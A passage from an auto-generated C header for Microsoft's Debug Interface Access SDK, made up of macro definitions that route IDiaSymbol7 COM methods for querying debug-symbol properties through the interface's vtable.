get_language(This,pRetVal) ) \n\n#define IDiaSymbol7_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol7_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol7_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol7_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol7_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol7_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol7_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol7_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol7_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol7_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol7_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol7_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol7_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol7_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol7_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol7_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol7_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol7_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol7_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol7_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol7_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol7_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol7_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol7_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol7_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol7_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol7_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol7_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol7_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol7_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol7_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol7_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol7_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol7_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol7_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol7_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol7_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol7_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol7_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol7_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol7_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol7_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol7_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol7_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol7_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol7_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol7_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol7_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol7_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol7_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol7_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol7_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol7_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol7_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol7_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol7_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol7_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol7_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol7_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol7_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol7_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol7_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol7_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol7_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol7_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol7_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol7_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol7_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol7_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol7_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol7_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol7_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol7_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol7_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol7_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol7_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol7_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol7_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol7_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol7_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol7_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol7_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol7_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol7_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol7_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol7_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol7_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol7_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol7_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol7_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol7_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol7_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol7_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol7_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol7_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol7_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol7_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol7_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol7_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol7_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol7_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define 